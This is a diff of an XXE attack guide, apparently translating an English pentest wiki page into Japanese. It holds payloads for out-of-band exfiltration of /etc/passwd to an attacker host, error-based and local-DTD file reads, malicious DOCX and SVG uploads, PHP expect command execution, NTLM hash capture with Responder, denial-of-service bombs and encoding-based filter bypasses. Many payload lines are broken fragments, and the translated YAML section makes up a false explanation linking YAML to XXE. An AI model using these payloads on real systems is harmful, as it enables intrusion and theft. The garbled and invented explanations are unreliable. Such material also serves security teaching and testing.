[**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.** - -An example of a malicious DTD to exfiltrate the contents of the `/etc/hostname` file is as follows: +**この場合、サーバーに新しい悪意のあるペイロードをロードさせ、ファイルの内容をHTTPリクエスト経由で送信するDTDを作成します(複数行のファイルの場合は**_**ftp://**_**を使用して漏洩させることもできます)。この説明は**[**こちらのPortswiggersのラボ**](https://portswigger.net/web-security/xxe/blind)**から引用されています。** +`/etc/hostname`ファイルの内容を漏洩させるための悪意のあるDTDの例は以下の通りです: ```markup "> %eval; %exfiltrate; ``` +このDTDは以下の手順を実行します: -This DTD carries out the following steps: +* `/etc/passwd` ファイルの内容を含む `file` という名前のXMLパラメータエンティティを定義します。 +* `eval` という名前のXMLパラメータエンティティを定義し、`exfiltrate` という別のXMLパラメータエンティティの動的宣言を含めます。`exfiltrate` エンティティは、URLクエリ文字列内の `file` エンティティの値を含む攻撃者のウェブサーバーに対してHTTPリクエストを行うことで評価されます。 +* `eval` エンティティを使用し、`exfiltrate` エンティティの動的宣言が行われるようにします。 +* 指定されたURLをリクエストすることで、`exfiltrate` エンティティの値が評価されるようにします。 -* Defines an XML parameter entity called `file`, containing the contents of the `/etc/passwd` file. -* Defines an XML parameter entity called `eval`, containing a dynamic declaration of another XML parameter entity called `exfiltrate`. The `exfiltrate` entity will be evaluated by making an HTTP request to the attacker's web server containing the value of the `file` entity within the URL query string. -* Uses the `eval` entity, which causes the dynamic declaration of the `exfiltrate` entity to be performed. -* Uses the `exfiltrate` entity, so that its value is evaluated by requesting the specified URL. - -The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver. For example, the attacker might serve the malicious DTD at the following URL:\ +攻撃者は、通常は自分自身のウェブサーバーに悪意のあるDTDをロードすることで、悪意のあるDTDを制御するシステムに配置する必要があります。例えば、攻撃者は次のURLで悪意のあるDTDを提供するかもしれません:\ `http://web-attacker.com/malicious.dtd` -Finally, the attacker must submit the following XXE payload to the vulnerable application: - +最後に、攻撃者は脆弱なアプリケーションに以下のXXEペイロードを送信する必要があります: ```markup %xxe;]> 3;1 ``` +このXXEペイロードは、`xxe`というXMLパラメータエンティティを宣言し、そのエンティティをDTD内で使用します。これにより、XMLパーサーは攻撃者のサーバーから外部DTDを取得し、インラインで解釈します。悪意のあるDTDで定義された手順が実行され、`/etc/passwd`ファイルが攻撃者のサーバーに送信されます。 -This XXE payload declares an XML parameter entity called `xxe` and then uses the entity within the DTD. This will cause the XML parser to fetch the external DTD from the attacker's server and interpret it inline. The steps defined within the malicious DTD are then executed, and the `/etc/passwd` file is transmitted to the attacker's server. +### エラーベース(外部DTD) -### Error Based(External DTD) - -**In this case we are going to make the server loads a malicious DTD that will show the content of a file inside an error message (this is only valid if you can see error messages).** [**Example from here.**](https://portswigger.net/web-security/xxe/blind) - -You can trigger an XML parsing error message containing the contents of the `/etc/passwd` file using a malicious external DTD as follows: +**この場合、サーバーに悪意のあるDTDを読み込ませ、エラーメッセージ内にファイルの内容を表示します(エラーメッセージを表示できる場合にのみ有効です)。** [**ここから例を参照してください。**](https://portswigger.net/web-security/xxe/blind) +以下のように、悪意のある外部DTDを使用して、`/etc/passwd`ファイルの内容を含むXMLパースエラーメッセージをトリガーできます: ```markup "> %eval; %error; ``` +このDTDは以下の手順を実行します: -This DTD carries out the following steps: - -* Defines an XML parameter entity called `file`, containing the contents of the `/etc/passwd` file. -* Defines an XML parameter entity called `eval`, containing a dynamic declaration of another XML parameter entity called `error`. The `error` entity will be evaluated by loading a nonexistent file whose name contains the value of the `file` entity. -* Uses the `eval` entity, which causes the dynamic declaration of the `error` entity to be performed. -* Uses the `error` entity, so that its value is evaluated by attempting to load the nonexistent file, resulting in an error message containing the name of the nonexistent file, which is the contents of the `/etc/passwd` file. - -Invoke the external DTD error with: +* `/etc/passwd` ファイルの内容を含む `file` という名前の XML パラメータエンティティを定義します。 +* `eval` という名前の XML パラメータエンティティを定義し、その中に `error` という別の XML パラメータエンティティの動的宣言を含めます。`error` エンティティは、`file` エンティティの値を含む存在しないファイルをロードすることで評価されます。 +* `eval` エンティティを使用し、`error` エンティティの動的宣言が行われるようにします。 +* `error` エンティティを使用し、その値が存在しないファイルをロードしようとして評価され、`/etc/passwd` ファイルの内容を含む存在しないファイルの名前を含むエラーメッセージが生成されます。 +外部 DTD エラーを呼び出すには、以下を実行します: ```markup %xxe;]> 3;1 ``` - -And you should see the contents of the file inside error message of the response of the web server. +そして、Webサーバーの応答のエラーメッセージの中に、ファイルの内容が表示されるはずです。 ![](<../.gitbook/assets/image (223) (1).png>) -_**Please notice that external DTD allows us to include one entity inside the second (****`eval`****), but it is prohibited in the internal DTD. Therefore, you can't force an error without using an external DTD (usually).**_ +_**外部DTDを使用すると、2番目のエンティティ(`eval`)の中に1つのエンティティを含めることができますが、内部DTDでは禁止されています。したがって、通常は外部DTDを使用しないとエラーを強制することはできません。**_ -### **Error Based (system DTD)** +### **エラーベース(システムDTD)** -So what about blind XXE vulnerabilities when **out-of-band interactions are blocked** (external connections aren't available)?. [Information from here](https://portswigger.net/web-security/xxe/blind). +では、**外部接続が利用できない場合**には、ブラインドXXEの脆弱性についてどうなるのでしょうか?[ここからの情報](https://portswigger.net/web-security/xxe/blind)。 -In this situation, it might still be possible to **trigger error messages containing sensitive data**, due to a loophole in the XML language specification. If a document's **DTD uses a hybrid of internal and external DTD** declarations, then the **internal DTD can redefine entities that are declared in the external DTD**. When this happens, the restriction on using an XML parameter entity within the definition of another parameter entity is relaxed. +この状況では、XML言語仕様のループホールにより、**エラーメッセージに機密データが含まれることがある**かもしれません。ドキュメントのDTDが内部DTDと外部DTDのハイブリッドを使用している場合、**内部DTDは外部DTDで宣言されたエンティティを再定義することができます**。これが起こると、別のパラメータエンティティの定義内でXMLパラメータエンティティを使用する制限が緩和されます。 -This means that an attacker can employ the **error-based XXE technique from within an internal DTD**, provided the XML parameter entity that they use is **redefining an entity that is declared within an external DTD**. Of course, if out-of-band connections are blocked, then the external DTD cannot be loaded from a remote location. Instead, it needs to be an **external DTD file that is local to the application server**. _Essentially, the attack involves invoking a DTD file that happens to exist on the local filesystem and repurposing it to redefine an existing entity in a way that triggers a parsing error containing sensitive data._ - -For example, suppose there is a DTD file on the server filesystem at the location `/usr/local/app/schema.dtd`, and this DTD file defines an entity called `custom_entity`. An attacker can trigger an XML parsing error message containing the contents of the `/etc/passwd` file by submitting a hybrid DTD like the following: +これは、攻撃者が**内部DTD内からエラーベースのXXEテクニックを使用**できることを意味します。ただし、外部接続がブロックされている場合、リモートの場所から外部DTDをロードすることはできません。代わりに、アプリケーションサーバーに**ローカルの外部DTDファイル**が必要です。_基本的に、攻撃は、ローカルファイルシステムに存在するDTDファイルを呼び出し、既存のエンティティを再定義してパースエラーをトリガーし、機密データを含むエラーメッセージを生成することです。_ +例えば、サーバーファイルシステムの場所`/usr/local/app/schema.dtd`にDTDファイルが存在し、このDTDファイルが`custom_entity`というエンティティを定義しているとします。攻撃者は、次のようなハイブリッドDTDを送信することで、`/etc/passwd`ファイルの内容を含むXMLパースエラーメッセージをトリガーすることができます。 ```markup - - "> - %eval; - %error; - '> - %local_dtd; + + +"> +%eval; +%error; +'> +%local_dtd; ]> ``` +このDTDは以下の手順を実行します: -This DTD carries out the following steps: - -* Defines an XML parameter entity called `local_dtd`, containing the contents of the external DTD file that exists on the server filesystem. -* Redefines the XML parameter entity called `custom_entity`, which is already defined in the external DTD file. The entity is redefined as containing the [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) that was already described, for triggering an error message containing the contents of the `/etc/passwd` file. -* Uses the `local_dtd` entity, so that the external DTD is interpreted, including the redefined value of the `custom_entity` entity. This results in the desired error message. - - **Real world example:** Systems using the GNOME desktop environment often have a DTD at `/usr/share/yelp/dtd/docbookx.dtd` containing an entity called `ISOamso` +* サーバーファイルシステム上に存在する外部DTDファイルの内容を含む`local_dtd`というXMLパラメータエンティティを定義します。 +* 外部DTDファイルで既に定義されているXMLパラメータエンティティである`custom_entity`を再定義します。このエンティティは、既に説明された[エラーベースのXXE攻撃](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)を含み、`/etc/passwd`ファイルの内容を含むエラーメッセージをトリガーします。 +* `local_dtd`エンティティを使用して、外部DTDが解釈され、`custom_entity`エンティティの再定義値が含まれるようにします。これにより、望ましいエラーメッセージが表示されます。 +**実際の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd`に`ISOamso`というエンティティが含まれています。 ```markup - - "> - %eval; - %error; - '> - %local_dtd; + + +"> +%eval; +%error; +'> +%local_dtd; ]> 3;1 ``` - ![](<../.gitbook/assets/image (224).png>) -As this technique uses an **internal DTD you need to find a valid one first**. You could do this **installing** the same **OS / Software** the server is using and **searching some default DTDs**, or **grabbing a list** of **default DTDs** inside systems and **check** if any of them exists: - +この技術では、最初に有効な内部DTDを見つける必要があります。これを行うには、サーバーと同じOS/ソフトウェアを**インストール**し、いくつかのデフォルトのDTDを**検索**するか、システム内のデフォルトのDTDのリストを**取得**して存在するかどうかを**確認**することができます。 ```markup %local_dtd; ]> ``` +### システム内のDTDの検出 -### Finding DTDs inside the system - -In the following awesome github repo you can find **paths of DTDs that can be present in the system**: +次の素晴らしいGitHubリポジトリでは、**システム内に存在する可能性のあるDTDのパス**を見つけることができます: {% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %} -Moreover, if you have the **Docker image of the victim system**, you can use the tool of the same repo to **scan** the **image** and **find** the path of **DTDs** present inside the system. Read the [Readme of the github](https://github.com/GoSecure/dtd-finder) to learn how. - +さらに、**被害者システムのDockerイメージ**がある場合、同じリポジトリのツールを使用して**イメージをスキャン**し、システム内に存在するDTDのパスを**検出**することができます。詳細については、[GitHubのReadme](https://github.com/GoSecure/dtd-finder)を参照してください。 ```bash java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar Scanning TAR file /tmp/dadocker.tar - [=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd +[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd Testing 0 entities : [] - [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd +[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd Testing 0 entities : [] ``` +### Office Open XMLパーサーを介したXXE -### XXE via Office Open XML Parsers - -(Copied from [**here**](https://labs.detectify.com/2021/09/30/10-types-web-vulnerabilities-often-missed/))\ -Many web applications allow you to upload Microsoft Office documents, and then they parse some details out of them. For example, you might have a web application that allows you to import data by uploading a spreadsheet in XLSX format. At some point, in order for the parser to extract the data from the Spreadsheet, the parser is going to need to **parse at least one XML file**. - -The only way to test for this is to generate a **Microsoft Office file that contains an XXE payload**, so let’s do that. First, create an empty directory to unzip your document to, and unzip it! +([**こちら**](https://labs.detectify.com/2021/09/30/10-types-web-vulnerabilities-often-missed/)からコピー)\ +多くのWebアプリケーションでは、Microsoft Officeドキュメントをアップロードして、それらからいくつかの詳細を解析することができます。たとえば、XLSX形式のスプレッドシートをアップロードしてデータをインポートできるWebアプリケーションがあるかもしれません。スプレッドシートからデータを抽出するために、パーサーは少なくとも1つのXMLファイルを解析する必要があります。 +これをテストする唯一の方法は、XXEペイロードを含むMicrosoft Officeファイルを生成することです。それでは、まず、ドキュメントを解凍するための空のディレクトリを作成し、解凍しましょう! ``` test$ ls test.docx test$ mkdir unzipped test$ unzip ./test.docx -d ./unzipped/ Archive: ./test.docx - inflating: ./unzipped/word/numbering.xml - inflating: ./unzipped/word/settings.xml - inflating: ./unzipped/word/fontTable.xml - inflating: ./unzipped/word/styles.xml - inflating: ./unzipped/word/document.xml - inflating: ./unzipped/word/_rels/document.xml.rels - inflating: ./unzipped/_rels/.rels - inflating: ./unzipped/word/theme/theme1.xml - inflating: ./unzipped/[Content_Types].xml +inflating: ./unzipped/word/numbering.xml +inflating: ./unzipped/word/settings.xml +inflating: ./unzipped/word/fontTable.xml +inflating: ./unzipped/word/styles.xml +inflating: ./unzipped/word/document.xml +inflating: ./unzipped/word/_rels/document.xml.rels +inflating: ./unzipped/_rels/.rels +inflating: ./unzipped/word/theme/theme1.xml +inflating: ./unzipped/[Content_Types].xml ``` - -Open up `./unzipped/word/document.xml` in your favourite text editor (vim) and edit the **XML to contain your favourite XXE payload**. The first thing I try tends to be a HTTP request, like this: - +お気に入りのテキストエディタ(vim)で `./unzipped/word/document.xml` を開き、**お気に入りのXXEペイロードを含むXMLを編集**します。私が最初に試すのは、次のようなHTTPリクエストです。 ``` ]> &test; ``` - -Those lines should be inserted in between the two root XML objects, like this, and of course you will need to replace the URL with a URL that you can monitor for requests: +以下の行は、次のように2つのルートXMLオブジェクトの間に挿入する必要があります。もちろん、URLはリクエストを監視できるURLに置き換える必要があります。 ![Those lines should be inserted in between the two root XML objects, like thi](https://labs.detectify.com/wp-content/uploads/2021/09/xxe-obscure.png) -All that is left is to **zip the file up to create your evil poc.docx file**. From the “unzipped” directory that we created earlier, run the following: +残りは、**悪意のあるpoc.docxファイルを作成するためにファイルを圧縮するだけです**。前述の「unzipped」ディレクトリから次のコマンドを実行します。 ![From the "unzipped" directory that we created earlier, run the following:](https://labs.detectify.com/wp-content/uploads/2021/09/xxe-unzipped.png) -Now upload the file to your (hopefully) vulnerable web application and pray to the hacking gods for a request in your Burp Collaborator logs. +今、ファイルを(おそらく)脆弱なWebアプリケーションにアップロードし、Burp Collaboratorログでリクエストを待ちます。 -### Jar: protocol - -The `jar` protocol is only available on **Java applications**. It allows to access files inside a **PKZIP** file (`.zip`, `.jar`, ...) and works for local and remote files: +### Jar: プロトコル +`jar`プロトコルは、**Javaアプリケーション**でのみ利用可能です。これにより、**PKZIP**ファイル(`.zip`、`.jar`など)内のファイルにアクセスでき、ローカルおよびリモートのファイルに対して機能します。 ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt ``` - {% hint style="danger" %} -To be able to access files inside PKZIP files is **super useful to abuse XXE via system DTD files.** Check [this section to learn how to abuse system DTD files](xxe-xee-xml-external-entity.md#error-based-system-dtd). +PKZIPファイル内のファイルにアクセスできることは、**システムDTDファイルを介したXXEの乱用に非常に役立ちます。**[このセクションをチェックして、システムDTDファイルを乱用する方法を学びましょう](xxe-xee-xml-external-entity.md#error-based-system-dtd)。 {% endhint %} -#### Behind the scenes +#### 裏側 -1. It makes an HTTP request to load the zip archive. `https://download.host.com/myarchive.zip` -2. It saves the HTTP response to a temporary location. `/tmp/...` -3. It extracts of the archive. -4. It reads the `file.zip` -5. It delete temporary files. +1. zipアーカイブをロードするためにHTTPリクエストを行います。`https://download.host.com/myarchive.zip` +2. HTTPレスポンスを一時的な場所に保存します。`/tmp/...` +3. アーカイブを展開します。 +4. `file.zip`を読み込みます。 +5. 一時ファイルを削除します。 -Note that it's possible to stop the flow in the second step. The trick is to never close the connection when serving the file. [This tools can be useful](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution): one in python `slow_http_server.py` and one in java`slowserver.jar`. +注意点として、フローを2番目のステップで停止させることが可能です。ファイルを提供する際に接続を閉じないようにするトリックです。[このツールが役立つかもしれません](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution):Pythonの`slow_http_server.py`とJavaの`slowserver.jar`があります。 -Once the server has downloaded your file, you need to find its location by browsing the temp directory. Being random, the file path can't be predict in advance. +サーバーがファイルをダウンロードしたら、一時ディレクトリをブラウズしてその場所を見つける必要があります。ランダムなため、ファイルパスは事前に予測することはできません。 ![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png) {% hint style="danger" %} -Writing files in a temporary directory can help to **escalate another vulnerability that involves a path traversal** (such as local file include, template injection, XSLT RCE, deserialization, etc). +一時ディレクトリにファイルを書き込むことは、**パストラバーサルを含む別の脆弱性をエスカレートさせるのに役立ちます**(ローカルファイルのインクルード、テンプレートインジェクション、XSLT RCE、逆シリアル化など)。 {% endhint %} ### XSS - ```markup script]]>alert(1)/script]]> ``` - ### DoS -#### Billion Laugh Attack - +#### ビリオン・ラフ攻撃 ```markup @@ -399,9 +355,26 @@ Writing files in a temporary directory can help to **escalate another vulnerabil ]> &a4; ``` +#### Yaml攻撃 -#### Yaml Attack +Yaml攻撃は、XML外部エンティティ(XXE)攻撃の一種です。Yamlはデータのシリアライゼーション形式であり、多くのプログラミング言語で使用されています。Yaml攻撃では、悪意のあるエンティティを含むYamlファイルを使用して、アプリケーションの脆弱性を悪用します。 +Yaml攻撃の手法は、以下の手順で実行されます。 + +1. 攻撃者は、悪意のあるエンティティを含むYamlファイルを作成します。 +2. 攻撃者は、Yamlファイルをアプリケーションに送信します。 +3. アプリケーションは、Yamlファイルを解析し、悪意のあるエンティティを処理します。 +4. 悪意のあるエンティティによって、攻撃者は機密情報を漏洩させたり、サーバー上で任意のコードを実行したりすることができます。 + +Yaml攻撃は、アプリケーションが外部エンティティを解析する際の脆弱性に依存しています。攻撃者は、外部エンティティの定義を悪用して、アプリケーションの動作を制御することができます。この攻撃は、機密情報の漏洩やサーバーの完全な制御を可能にするため、重大なセキュリティリスクとなります。 + +Yaml攻撃を防ぐためには、以下の対策を実施することが重要です。 + +- 外部エンティティの解析を無効化する。 +- 受信したYamlファイルの信頼性を検証する。 +- セキュリティパッチやアップデートを定期的に適用する。 + +これらの対策を実施することで、Yaml攻撃からアプリケーションを保護することができます。 ```markup a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] @@ -413,79 +386,65 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` - -#### Quadratic Blowup Attack +#### 二次関数の膨張攻撃 ![](<../.gitbook/assets/image (531).png>) -#### Getting NTML - -On Windows hosts it is possible to get the NTML hash of the web server user by setting a responder.py handler: +#### NTMLの取得 +Windowsホストでは、responder.pyハンドラを設定することで、ウェブサーバーユーザーのNTMLハッシュを取得することができます。 ``` Responder.py -I eth0 -v ``` - -and by sending the following request - +そして、次のリクエストを送信することによって ``` ]> &example; ``` - -Then you can try to crack the hash using hashcat - -## Hidden XXE Surfaces +## 隠れたXXEの表面 ### XInclude -[From here.](https://portswigger.net/web-security/xxe) +[ここから。](https://portswigger.net/web-security/xxe) -Some applications **receive client-submitted data, embed it on the server-side into an XML document, and then parse the document**. An example of this occurs when client-submitted data is placed into a **backend SOAP request**, which is then processed by the backend SOAP service. +一部のアプリケーションは、**クライアントからのデータを受け取り、サーバーサイドでXMLドキュメントに埋め込み、そのドキュメントを解析する**ことがあります。これは、クライアントからのデータが**バックエンドのSOAPリクエスト**に配置され、バックエンドのSOAPサービスで処理される場合に発生します。 -In this situation, you cannot carry out a classic XXE attack, because **you don't control the entire XML** document and so cannot define or modify a `DOCTYPE` element. However, you might be able to use `XInclude` instead. `XInclude` is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an `XInclude` attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document. - -To perform an `XInclude` attack, you need to reference the `XInclude` namespace and provide the path to the file that you wish to include. For example: +この状況では、**クラシックなXXE攻撃は実行できません**。なぜなら、XMLドキュメント全体を制御できず、`DOCTYPE`要素を定義または変更することができないからです。ただし、`XInclude`を使用することができるかもしれません。`XInclude`は、XML仕様の一部であり、XMLドキュメントをサブドキュメントから構築することができます。XMLドキュメント内の任意のデータ値に`XInclude`攻撃を配置することができるため、サーバーサイドのXMLドキュメントに配置される単一のデータ項目のみを制御できる状況で攻撃を実行することができます。 +`XInclude`攻撃を実行するには、`XInclude`の名前空間を参照し、含めたいファイルのパスを指定する必要があります。例えば: ```markup productId=&storeId=1 ``` +### SVG - ファイルのアップロード -### SVG - File Upload +[ここから](https://portswigger.net/web-security/xxe) -[From here.](https://portswigger.net/web-security/xxe) - -Some applications allow users to upload files which are then processed server-side. Some common file formats use XML or contain XML subcomponents. Examples of XML-based formats are office document formats like DOCX and image formats like SVG. - -For example, an application might allow users to **upload images**, and process or validate these on the server after they are uploaded. Even if the application expects to receive a format like PNG or JPEG, the **image processing library that is being used might support SVG images**. Since the SVG format uses XML, an attacker can submit a malicious SVG image and so reach hidden attack surface for XXE vulnerabilities. +一部のアプリケーションでは、ユーザーがアップロードしたファイルをサーバーサイドで処理することができます。一部の一般的なファイル形式はXMLを使用するか、XMLのサブコンポーネントを含んでいます。XMLベースの形式の例としては、DOCXのようなオフィスドキュメント形式や、SVGのような画像形式があります。 +たとえば、アプリケーションではユーザーが**画像をアップロード**できるようにし、アップロード後にサーバーでこれらを処理または検証することができます。アプリケーションがPNGやJPEGのような形式を受け取ることを期待していても、**使用されている画像処理ライブラリはSVG画像をサポートする**かもしれません。SVG形式はXMLを使用しているため、攻撃者は悪意のあるSVG画像を送信し、XXEの脆弱性のための隠れた攻撃対象に到達することができます。 ```markup ``` - -You could also try to **execute commands** using the PHP "expect" wrapper: - +PHPの「expect」ラッパーを使用して、**コマンドを実行**することも試すことができます。 ```markup - + ``` +**注意:読み込んだファイルの最初の行または実行結果の最初の行は、作成された画像の内部に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。** -**Note the first line of the read file or of the result of the execution will appear INSIDE the created image. So you need to be able to access the image SVG has created.** +### **PDF - ファイルのアップロード** -### **PDF - File upload** - -Read the following post to **learn how to exploit a XXE uploading a PDF** file: +次の投稿を読んで、**PDFファイルをアップロードしてXXEを悪用する方法**を学びます: {% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} [pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md) {% endcontent-ref %} -### Content-Type: From x-www-urlencoded to XML - -If a POST request accepts the data in XML format, you could try to exploit a XXE in that request. For example, if a normal request contains the following: +### Content-Type: x-www-urlencodedからXMLへ +POSTリクエストがXML形式のデータを受け入れる場合、そのリクエストでXXEを悪用することができます。たとえば、通常のリクエストには次のような内容が含まれている場合: ```markup POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded @@ -493,9 +452,7 @@ Content-Length: 7 foo=bar ``` - -Then you might be able submit the following request, with the same result: - +その場合、同じ結果を得るために次のリクエストを送信することができるかもしれません: ```markup POST /action HTTP/1.0 Content-Type: text/xml @@ -503,20 +460,18 @@ Content-Length: 52 bar ``` +### Content-Type: JSONからXEEへ -### Content-Type: From JSON to XEE - -To change the request you could use a Burp Extension named “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example: - +リクエストを変更するために、Burp拡張機能である「**Content Type Converter**」を使用することができます。[ここ](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html)で、この例を見つけることができます。 ```markup Content-Type: application/json;charset=UTF-8 {"root": {"root": { - "firstName": "Avinash", - "lastName": "", - "country": "United States", - "city": "ddd", - "postalCode": "ddd" +"firstName": "Avinash", +"lastName": "", +"country": "United States", +"city": "ddd", +"postalCode": "ddd" }}} ``` @@ -524,34 +479,30 @@ Content-Type: application/json;charset=UTF-8 Content-Type: application/xml;charset=UTF-8 -]> +]> - - &xxe; - - United States - ddd - ddd - + +&xxe; + +United States +ddd +ddd + ``` +別の例は[こちら](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2)で見つけることができます。 -Another example can be found [here](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2). - -## WAF & Protections Bypasses +## WAFと保護のバイパス ### Base64 - ```markup %init; ]> ``` - -This only work if the XML server accepts the `data://` protocol. +これは、XMLサーバーが`data://`プロトコルを受け入れる場合にのみ機能します。 ### UTF-7 -You can use the \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transform to UTF-7. - +\[**ここでのEncode Recipe**" of cyberchef はこちら ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) を使用して、UTF-7に変換することができます。 ```markup +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -563,80 +514,148 @@ You can use the \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.githu +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 ``` - ### File:/ Protocol Bypass -If the web is using PHP, instead of using `file:/` you can use **php wrappers**`php://filter/convert.base64-encode/resource=` to **access internal files**. +ウェブがPHPを使用している場合、`file:/`の代わりに**phpラッパー**`php://filter/convert.base64-encode/resource=`を使用して**内部ファイルにアクセス**することができます。 -If the web is using Java you may check the [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol). +ウェブがJavaを使用している場合は、[**jarプロトコル**](xxe-xee-xml-external-entity.md#jar-protocol)を確認できます。 -### HTML Entities - -Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ -You can create an **entity inside an entity** encoding it with **html entities** and then call it to **load a dtd**.\ -Note that the **HTML Entities** used needs to be **numeric** (like \[in this example]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)). +### HTMLエンティティ +[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)からのトリック\ +**HTMLエンティティ**を使用して**エンティティ内にエンティティ**を作成し、それを呼び出して**dtdをロード**することができます。\ +使用する**HTMLエンティティ**は**数値**である必要があることに注意してください(例:\[この例\]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric 